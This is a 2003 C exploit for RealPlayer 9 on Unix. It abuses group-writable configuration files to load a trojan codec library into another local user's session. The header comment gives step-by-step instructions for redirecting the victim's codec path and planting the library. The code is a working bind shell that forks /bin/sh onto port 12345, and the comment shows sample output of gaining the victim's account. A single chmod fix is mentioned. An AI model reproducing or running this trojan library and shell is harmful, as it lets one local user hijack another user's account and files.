/** * rp9-priv-esc.c * * A local privilege escalation attack against the community supported * version of Real.com's Realplayer, version 9. * * Written by: * * Jon Hart * * By default, configuration files are stored in ~$USER/.realnetworks/, * but all the files in there are group writeable. So long as ~$USER * has group execution permissions (which is pretty common), a malicious * local user can edit the config files of fellow users to do his biddings. * * There are a number of ways to attack this, but after some poking it seems * that modifying the path to shared libraries and writing my own malicious * shared libraries was the easiest. * * (as an aside, just because the shared libraries in the directories contained * in ~$USER/.realnetworks/RealShared_0_0/ are stripped doesn't mean we can't get * the symbols back. objdump quickly can tell us what the names of the 15 * functions are, and we can stub out a bogus shared library pretty quickly.) * * This particular bit of code is meant to replace the shared library * cook.so.6.0, which is contained in the Codecs directory. To execute this * attack against a fellow local user, first edit their config file * (~victim/.realnetworks/RealShared_0_0) to have the 'dt_codecs' variable * point to a directory under your control, like /tmp/Codecs. Copy all of the * existing files from the previous value of dt_codecs (which is usually something * like ~victim/Real/Codecs/) to /tmp/Codecs. Next, compile the code below as a * shared library and copy it to the trojaned directory: * * * `gcc -shared -fPIC -o /tmp/Codecs/cook.so.6.0 rp9-priv-esc.c` * * The next time the victim fires up realplayer 9, a nice little shell * will be listening on port 12345 for you: * * guest@haiti:/$ id * uid=1006(guest) gid=100(users) groups=100(users) * guest@haiti:/$ nc localhost 12345 * id * uid=1000(warchild) gid=100(users) groups=100(users),40(src),1003(wheel) * * Of course, you don't have to execute a shell. Do whatever makes you happy. * * Fix? `chmod 700 ~/.realnetworks/*` * * Copyright (c) 2003, Jon Hart * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * Neither the name of the organization nor the names of its contributors may * be used to endorse or promote products derived from this software without * specific prior written permission. * * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * * * */ #define PORT 12345 #include #include #include #include #include #include void RAInitEncoder(void) { } /** This just happens to be one of the first * functions that realplayer calls after cook.so.6.0 is loaded */ void RAOpenCodec2(void) { cookthis(); } void RAOpenCodec(void) { } void RAGetNumberOfFlavors(void) { } void RACloseCodec(void) { } void RADecode(void) { } void RAEncode(void) { } void RAFreeEncoder(void) { } void RAGetNumberOfFlavors2(void) { } void RAFreeDecoder(void) { } void RAFlush(void) { } void RAGetFlavorProperty(void) { } void G2(void) { } void RASetFlavor(void) { } void RAInitDecoder(void) { } void RACreateEncoderInstance(void) { } /* Bind /bin/sh to PORT. It forks * and all that good stuff, so it won't * easily go away. */ int cookthis() { int sock_des, sock_client, sock_recv, sock_len, server_pid, client_pid; struct sockaddr_in server_addr; struct sockaddr_in client_addr; if ((sock_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) exit(EXIT_FAILURE); bzero((char *) &server_addr, sizeof(server_addr)); server_addr.sin_family = AF_INET; server_addr.sin_addr.s_addr = htonl(INADDR_ANY); server_addr.sin_port = htons(PORT); if ((sock_recv = bind(sock_des, (struct sockaddr *) &server_addr, sizeof(server_addr))) != 0) exit(EXIT_FAILURE); if (fork() != 0) exit(EXIT_SUCCESS); setpgrp(); signal(SIGHUP, SIG_IGN); if (fork() != 0) exit(EXIT_SUCCESS); if ((sock_recv = listen(sock_des, 5)) != 0) exit(EXIT_SUCCESS); while (1) { sock_len = sizeof(client_addr); if ((sock_client = accept(sock_des, (struct sockaddr *) &client_addr, &sock_len)) < 0) exit(EXIT_SUCCESS); client_pid = getpid(); server_pid = fork(); if (server_pid != 0) { dup2(sock_client,0); dup2(sock_client,1); dup2(sock_client,2); execl("/bin/sh","realplay",(char *)0); close(sock_client); exit(EXIT_SUCCESS); } close(sock_client); } }